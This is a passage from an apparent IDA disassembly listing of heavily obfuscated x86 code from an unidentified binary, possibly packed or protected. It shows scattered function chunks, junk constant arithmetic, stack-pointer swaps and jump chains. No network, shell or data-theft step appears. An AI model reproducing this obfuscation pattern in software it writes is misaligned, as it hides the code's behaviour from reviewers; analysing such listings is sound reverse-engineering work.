loc_5A51B5:				; CODE XREF: sub_59D6B8+1062Bj
		add	edi, 4
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_5B008F
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A51C4:				; CODE XREF: sub_59C979+10F2Bj
		pop	edx
		push	ebx
		mov	ebx, 2AE01094h
		dec	ebx
		sub	ebx, 4CF5D71h
		jmp	loc_5A4C63
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A51D7:				; CODE XREF: sub_59D6B8+2BBBj
		mov	edi, 2532386Ah
		shl	edi, 1
		shl	edi, 2
		add	edi, 0E05AB439h
		xor	ebp, edi
		pop	edi
		jmp	loc_5A6A24
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5A51EF:				; CODE XREF: sub_59A479+15j
		js	loc_5AFD17
		or	eax, 64B11E7Bh
		sub	eax, 4FCF2F74h
		jmp	loc_5AB4AC
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A54BA


loc_5A5204:				; CODE XREF: sub_5A54BA-92F4j
		mov	edi, 3E3B5A31h
		sub	edi, 3CAD823Bh
		sub	ebp, edi
		pop	edi
		mov	ebx, ebp
		jmp	loc_5A30EB
; END OF FUNCTION CHUNK	FOR sub_5A54BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A5219:				; CODE XREF: sub_59D6B8+6j
					; sub_59A26C+4B07j
		pop	dword ptr [esp+0]
		pop	esp
		and	ebx, ebp
		push	[esp-8+arg_4]
		pop	ebp
		add	esp, 4
		jmp	loc_5AC67F
; END OF FUNCTION CHUNK	FOR sub_59D6B8

; =============== S U B	R O U T	I N E =======================================



sub_5A522E	proc near		; CODE XREF: sub_59F02F+F7CFj
					; DATA XREF: sdfs____:00598FCCo

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_2		= word ptr  6

; FUNCTION CHUNK AT 0059A7DF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B436 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059BD3D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059F492 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F622 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A02F8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A2984 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2F68 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A3A9C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A5269 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5757 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A597F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A6E61 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A739B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A9EA3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AA277 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AA4B9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AD91C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005AEE62 SIZE 0000000B BYTES

		push	dword ptr [esp+0]
		mov	edx, [esp+4+var_4]
		add	esp, 4
		push	eax
		push	5F6Dh
		push	esp
		jmp	loc_5A739B
sub_5A522E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A5243:				; CODE XREF: sub_59EE3E-432Fj
		add	edi, 3D9CDE1Ch
		mov	ecx, edi
		pop	edi
		push	ebp
		mov	ebp, 60E27D6Eh
		xor	ecx, ebp
		mov	ebp, [esp+0]
		jmp	loc_5A47CF
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59993B


loc_5A525C:				; CODE XREF: sub_59993B+A12Dj
		sub	[esp+8+var_4], 26023989h
		jmp	loc_5A9932
; END OF FUNCTION CHUNK	FOR sub_59993B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_5A5269:				; CODE XREF: sub_5A522E-9DF1j
		push	esi
		mov	esi, 7C207693h
		jmp	loc_5AA277
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CF3


loc_5A5274:				; CODE XREF: sub_5A4CF3+5D40j
		xchg	esi, [esp+8+var_8]
		jmp	loc_5A52CC
; END OF FUNCTION CHUNK	FOR sub_5A4CF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_5A527C:				; CODE XREF: sub_59D37E+3446j
		mov	[esp+8+var_8], edx
		mov	dh, 7Ch
		add	ch, 0E7h
		sub	ch, dh
		sub	ch, 0E7h
		mov	edx, [esp+8+var_8]
		jmp	loc_59FCA6
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5291:				; CODE XREF: sub_5AA2D1:loc_59CA8Fj
					; sub_59D6B8+96B5j
		mov	ecx, [esp+0]
		push	edi
		mov	edi, esp
		jmp	loc_5A79E3
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5A529C:				; CODE XREF: sub_5A63DC-4FFDj
		add	edx, 1AAB65F2h
		not	edx
		push	240h
		mov	[esp+8+var_8], eax
		jmp	loc_59BF9E
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A52B1:				; CODE XREF: sub_5AA2D1-1D8Bj
		pop	eax
		push	eax
		push	esp
		mov	eax, [esp+6+var_8+2]
		add	esp, 4
		push	ebx
		push	ebp
		mov	ebp, 7BA20562h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_59ED20
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CF3


loc_5A52CC:				; CODE XREF: sub_5A4CF3+584j
		mov	esp, [esp+8+var_8]
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_5AFBB3
; END OF FUNCTION CHUNK	FOR sub_5A4CF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_5A52D9:				; CODE XREF: sub_59F1F3+E357j
		mov	[esp-4+arg_0], eax
		mov	eax, 854021Ah
		xor	edi, eax
		pop	eax
		jmp	loc_5A7B4C
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A577C


loc_5A52E9:				; CODE XREF: sub_5A577C-94E9j
		push	ecx
		mov	ecx, 163773F3h
		sub	edi, ecx
		pop	ecx
		add	edi, ebp
		add	edi, 163773F3h
		jmp	loc_5A457F
; END OF FUNCTION CHUNK	FOR sub_5A577C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A52FF:				; CODE XREF: sub_59CBE1+15FEj
		add	eax, edx
		pop	edx
		add	eax, 5CF803E6h
		sub	eax, 55C02C53h
		jmp	loc_59EBDC
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5A5311:				; CODE XREF: sub_59F4D2-166Cj
		add	[esp+0Ch+var_C], 4
		push	[esp+0Ch+var_C]
		pop	edx
		jmp	sub_59DCD1
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABEF6


loc_5A531E:				; CODE XREF: sub_5ABEF6-CDD5j
		mov	edi, 4
		sub	esi, 732A125Bh
		add	esi, edi
		jmp	loc_5A57C4
; END OF FUNCTION CHUNK	FOR sub_5ABEF6

; =============== S U B	R O U T	I N E =======================================



sub_5A5330	proc near		; DATA XREF: sdfs____:00598E88o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0059EE24 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3E1B SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005AB26B SIZE 00000010 BYTES

		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_59EE24
sub_5A5330	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5339:				; CODE XREF: sub_5AA2D1-B960j
		pop	edi
		push	edx
		jmp	loc_5A48C2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5A5340:				; CODE XREF: sub_5A5EFF+1B21j
					; sub_5A169C+766Bj
		push	edx
		mov	edx, 4
		jmp	loc_5A9D92
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6D4


loc_5A534B:				; CODE XREF: sub_5AD6D4-F0F3j
		mov	edi, [esp+8+var_8]
		push	4012h
		mov	[esp+0Ch+var_C], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5A16DA
; END OF FUNCTION CHUNK	FOR sub_5AD6D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_5A5367:				; CODE XREF: sub_5A913B+7j
		mov	esi, esp
		add	esi, 4
		push	edx
		jmp	loc_5A76C9
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A5375:				; CODE XREF: sub_5A7BA0+8533j
		mov	[esp-4+arg_0], ebp
		mov	ebp, 0CDD45F06h
		mov	edi, ebp
		pop	ebp
		add	ecx, 70C87003h
		add	ecx, edi
		sub	ecx, 70C87003h
		jmp	loc_59DE6B
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A5393:				; CODE XREF: sub_59C979-770j
		jge	loc_5AD888
		add	edi, 0F8491D10h
		dec	edi
		mov	al, ch
		mov	dh, ch


loc_5A53A4:				; CODE XREF: sub_5A21F1-1C08j
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 51281642h
		sub	dword ptr [esp+4], 577567E9h
		jmp	loc_5A25CE
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599117


loc_5A53BD:				; CODE XREF: sub_599117+70Aj
		jmp	loc_59BE44
; END OF FUNCTION CHUNK	FOR sub_599117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A53C2:				; CODE XREF: sub_5A79BE+1FEAj
		mov	eax, 4
		sub	edi, 4D9826C9h
		add	edi, eax
		add	edi, 4D9826C9h
		mov	eax, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5AC978
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A53E3:				; CODE XREF: sub_5A7BA0-72D2j
		pop	eax
		jmp	loc_5AC397
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A53E9:				; CODE XREF: sub_5AA2D1-116j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		shl	edi, 8
		push	ebp
		jmp	loc_5B01CB
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A5404:				; CODE XREF: sub_5B01F7-85D4j
		add	edx, 59B37825h
		pop	ebp
		jmp	loc_59A912
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_5A5410:				; CODE XREF: sub_5AF294-5CD5j
					; sub_5AC18D+2FFDj
		mov	dl, al
		mov	bh, dl
		pop	edx
		push	1116h
		mov	[esp+8+var_8], edx
		push	5F3Ch
		mov	[esp+0], eax
		jmp	loc_59BA0C
; END OF FUNCTION CHUNK	FOR sub_5AC18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A542A:				; CODE XREF: sub_59D6B8+1132Fj
		mov	eax, 0AEE1E60h
		add	ebx, eax
		jmp	loc_5A64A7
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59993B


loc_5A5436:				; CODE XREF: sub_59993B+16A61j
		pop	esi
		jmp	loc_5A561F
; END OF FUNCTION CHUNK	FOR sub_59993B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A543C:				; CODE XREF: sub_5AA2D1+2C64j
		xchg	ebp, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ecx
		push	4
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	eax, ecx
		pop	ecx
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		pop	esp
		push	0A70h
		mov	[esp+0], edi
		push	294E1300h
		push	[esp+4+var_4]
		jmp	loc_59D254
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59982C


loc_5A5473:				; CODE XREF: sub_59982C+6AF6j
		neg	ecx
		and	ecx, 34502694h
		or	ecx, 4F3648BAh
		add	ecx, 0B4682F56h
		add	ebp, ecx
		pop	ecx
		and	edx, ebp
		pop	ebp
		sub	edx, 0FF44849Bh
		sub	edx, 48A5518Bh
		jmp	loc_5A0458
; END OF FUNCTION CHUNK	FOR sub_59982C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A06DD


loc_5A549E:				; CODE XREF: sub_5A06DD-31F8j
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		jmp	loc_5A47E0
; END OF FUNCTION CHUNK	FOR sub_5A06DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CF3


loc_5A54AD:				; CODE XREF: sub_5A4CF3-3433j
		push	605h
		mov	[esp-4+arg_0], edi
		jmp	loc_59F39C
; END OF FUNCTION CHUNK	FOR sub_5A4CF3

; =============== S U B	R O U T	I N E =======================================



sub_5A54BA	proc near		; CODE XREF: sub_5ACB83-10A8Bj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0059B794 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C1BF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A30EB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A5204 SIZE 00000015 BYTES

		push	ebx
		push	ebp
		push	59F419FEh
		mov	ebp, [esp+0Ch+var_C]
		jmp	loc_59C1BF
sub_5A54BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_5A54C9	proc near		; DATA XREF: sdfs____:00598FD0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059B72C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A1149 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A1A99 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A602D SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A7007 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A8AA6 SIZE 00000012 BYTES

		mov	cx, [esp+0]
		push	edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_59B72C
sub_5A54C9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5A54E4:				; CODE XREF: sub_5A63DC+3E7Ej
		xor	ecx, [esp+4+var_4]
		pop	esp
		sub	dword ptr [esp+0], 28EB0D09h
		sub	dword ptr [esp+0], 518A20BFh
		jmp	loc_59E976
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A54FB:				; CODE XREF: sub_5AA2D1-80C9j
		mov	[esp+0Ch+var_C], edi
		push	688Dh
		push	esp
		pop	[esp+14h+var_14]
		add	[esp+10h+var_10], 4
		jmp	loc_59A3C0
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5A5510:				; CODE XREF: sub_5A9EC5-D7C6j
		add	al, 0F2h
		pop	ebx
		jmp	loc_5A05EE
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5518:				; CODE XREF: sub_5AA2D1+1586j
		pop	esi
		mov	ebx, ebp
		jmp	loc_59D61E
; ---------------------------------------------------------------------------


loc_5A5520:				; CODE XREF: sub_5AA2D1-7824j
		sub	ebx, 13F320D9h
		jmp	loc_5AB877
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A552B:				; CODE XREF: sub_59C979+8D59j
		or	cl, 76h
		jmp	loc_59DFA6
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5998AD


loc_5A5533:				; CODE XREF: sub_5998AD+C575j
		push	42E2h
		mov	[esp+14h+var_14], esp
		add	[esp+14h+var_14], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		push	ebp
		push	edi
		mov	edi, 4
		mov	ebp, edi
		mov	edi, [esp+4+var_4]
		push	edx
		mov	edx, esp
		jmp	loc_59B6E8
; END OF FUNCTION CHUNK	FOR sub_5998AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5648


loc_5A5567:				; CODE XREF: sub_5A5648-9751j
		pop	ecx
		dec	eax
		jmp	loc_59BFC7
; END OF FUNCTION CHUNK	FOR sub_5A5648

; =============== S U B	R O U T	I N E =======================================



sub_5A556E	proc near		; CODE XREF: sub_5A9799+4j
		sub	esp, 4
		jmp	loc_5B0293
sub_5A556E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A5576:				; CODE XREF: sub_59D6B8+BC32j
					; sub_59EE3E+CABFj
		add	esp, 4
		pop	eax
		sub	ecx, 6C5F12EAh
		add	ecx, 1A096262h
		add	ecx, esi
		jmp	loc_59D995
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EB4


loc_5A558D:				; CODE XREF: sub_5A9EB4-FA10j
		sub	esi, 4
		xor	esi, [esp+4+var_4]
		jmp	loc_59C63E
; END OF FUNCTION CHUNK	FOR sub_5A9EB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599CC6


loc_5A5598:				; CODE XREF: sub_599CC6+10E68j
		mov	edx, [esp+0]
		add	esp, 4
		pop	ebx
		push	edx
		mov	dh, ah
		mov	ch, dh
		pop	edx
		pop	eax
		mov	[edi+eax*4+1], ch
		push	dword ptr [esp+0]
		jmp	loc_5A0A8E
; END OF FUNCTION CHUNK	FOR sub_599CC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_5A55B2:				; CODE XREF: sub_599D0E+4DBCj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0]
		pop	esp
		mov	[esp+4+var_4], eax
		push	dword ptr [esp+4]
		mov	eax, [esp+0]
		jmp	loc_5A1B91
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC803


loc_5A55D1:				; CODE XREF: sub_5AC803-11C79j
		inc	esi
		jo	loc_59B470
		add	esi, 294257EAh
		jmp	loc_5A7701
; END OF FUNCTION CHUNK	FOR sub_5AC803
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A55E3:				; CODE XREF: sub_5A79BE-844Aj
		sub	ecx, 17B7615Ah
		add	ecx, 34D33F4Fh
		sub	ebx, ecx
		pop	ecx
		push	2878h
		jmp	loc_5A0EA3
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A55FC:				; CODE XREF: sub_5A7BA0:loc_5A4BB2j
		inc	eax
		xor	eax, 8945C9BCh
		jmp	loc_59F253
; END OF FUNCTION CHUNK	FOR sub_5A7BA0

; =============== S U B	R O U T	I N E =======================================



sub_5A5607	proc near		; CODE XREF: sub_5A503A+4870j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059DCA7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A03D9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A0861 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A13BF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2843 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A2D2E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A9570 SIZE 0000000C BYTES

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		jmp	loc_5A9570
sub_5A5607	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59993B


loc_5A561F:				; CODE XREF: sub_59993B+BAFCj
		or	ecx, 26B9520Ch
		not	ecx
		jmp	loc_5A60CC
; END OF FUNCTION CHUNK	FOR sub_59993B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A562C:				; CODE XREF: sub_5AA2D1-CD30j
		mov	dx, [esp+0]
		push	esi
		mov	esi, esp
		jmp	loc_5A7AD9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A5638:				; CODE XREF: sub_5A79BE:loc_59BC20j
		add	esi, 0C8FAF6D0h
		mov	ecx, esi
		pop	esi
		sub	ecx, ebx
		jmp	loc_59BFD6
; END OF FUNCTION CHUNK	FOR sub_5A79BE

; =============== S U B	R O U T	I N E =======================================



sub_5A5648	proc near		; CODE XREF: sub_5A477C-8447j
					; DATA XREF: sdfs____:00598EE8o

var_10		= dword	ptr -10h
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0059BEEF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059BFC7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059EE34 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1BEA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A5567 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A761D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AE3F3 SIZE 00000017 BYTES

		mov	eax, [esp+0]
		push	edx
		mov	edx, esp
		push	eax
		jmp	loc_59EE34
sub_5A5648	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5654:				; CODE XREF: sub_5AA2D1+510Fj
		pop	[esp+2+var_4+2]
		mov	esp, [esp+0]
		shl	dword ptr [esp+0], cl
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BAD3


loc_5A5662:				; CODE XREF: sub_59BAD3+5463j
		add	edx, esi
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_5A70FF
; END OF FUNCTION CHUNK	FOR sub_59BAD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABB65


loc_5A566C:				; CODE XREF: sub_5ABB65+1270j
		mov	[esp+10h+var_10], eax
		jmp	loc_5A8E6A
; END OF FUNCTION CHUNK	FOR sub_5ABB65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EB4


loc_5A5674:				; CODE XREF: sub_5A9EB4-B5A1j
					; sub_5A9B1D-2724j
		xchg	edi, [edx+38h]
		xchg	esi, edi
		jmp	loc_59A972
; END OF FUNCTION CHUNK	FOR sub_5A9EB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5A567E:				; CODE XREF: sub_59E94B+B75Ej
		sub	ecx, 13655D14h
		not	ecx
		jmp	loc_5AFB60
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE29C


loc_5A568B:				; CODE XREF: sub_5AE29C+1730j
		xor	edx, 1482F1Eh
		add	ecx, edx
		jmp	loc_59FBA6
; END OF FUNCTION CHUNK	FOR sub_5AE29C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A5698:				; CODE XREF: sub_5992DA+B69Aj
		add	esp, 4
		or	edx, eax
		jmp	loc_59D78D
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5A56A2:				; CODE XREF: sub_59E94B-38E3j
		sub	ecx, 13655D14h
		jmp	loc_5A8C50
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5A56AD:				; CODE XREF: sub_5A77D5+6190j
		pop	edx
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 7FEE7D7Ch
		jmp	loc_5A6336
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A56BC:				; CODE XREF: sub_5AA2D1:loc_5ADBC6j
		xor	ebx, 3E784777h
		mov	edi, ebx
		jmp	loc_5A8230
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A56C9:				; CODE XREF: sub_59C979+10BB7j
		jz	loc_5AD069
		add	cl, 0B6h
		jno	loc_5A552B
		or	cl, 76h
		jmp	loc_5A712A
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
		push	42E2h
		pop	ebp
; START	OF FUNCTION CHUNK FOR sub_5996E4


loc_5A56E6:				; CODE XREF: sub_5996E4+F8EFj
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+4+var_4]
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		xor	esi, [esp+4+var_4]
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		or	eax, eax
		jz	loc_59C6BF
		push	dword ptr [edi+28h]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5A82D3
; END OF FUNCTION CHUNK	FOR sub_5996E4

; =============== S U B	R O U T	I N E =======================================



sub_5A5735	proc near		; CODE XREF: sub_5992DA+13986j
					; DATA XREF: sdfs____:00598FE0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059ACB7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059C246 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A188D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A5CD0 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005AF76D SIZE 0000003F BYTES

		mov	cx, [esp+0]
		push	75B2h
		mov	[esp+4+var_4], esi
		push	esp
		pop	esi
		jmp	loc_5A188D
sub_5A5735	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5748:				; CODE XREF: sub_5AA2D1-A82Fj
		add	edx, ebx
		pop	ebx
		sub	edx, 4
		push	edx
		jmp	loc_5A3073
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_5A5757:				; CODE XREF: sub_5A522E+754j
		and	ebx, esi
		jmp	loc_59A7DF
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E325


loc_5A575E:				; CODE XREF: sub_59E325+9j
		pop	ecx
		pop	ebx
		add	eax, ecx
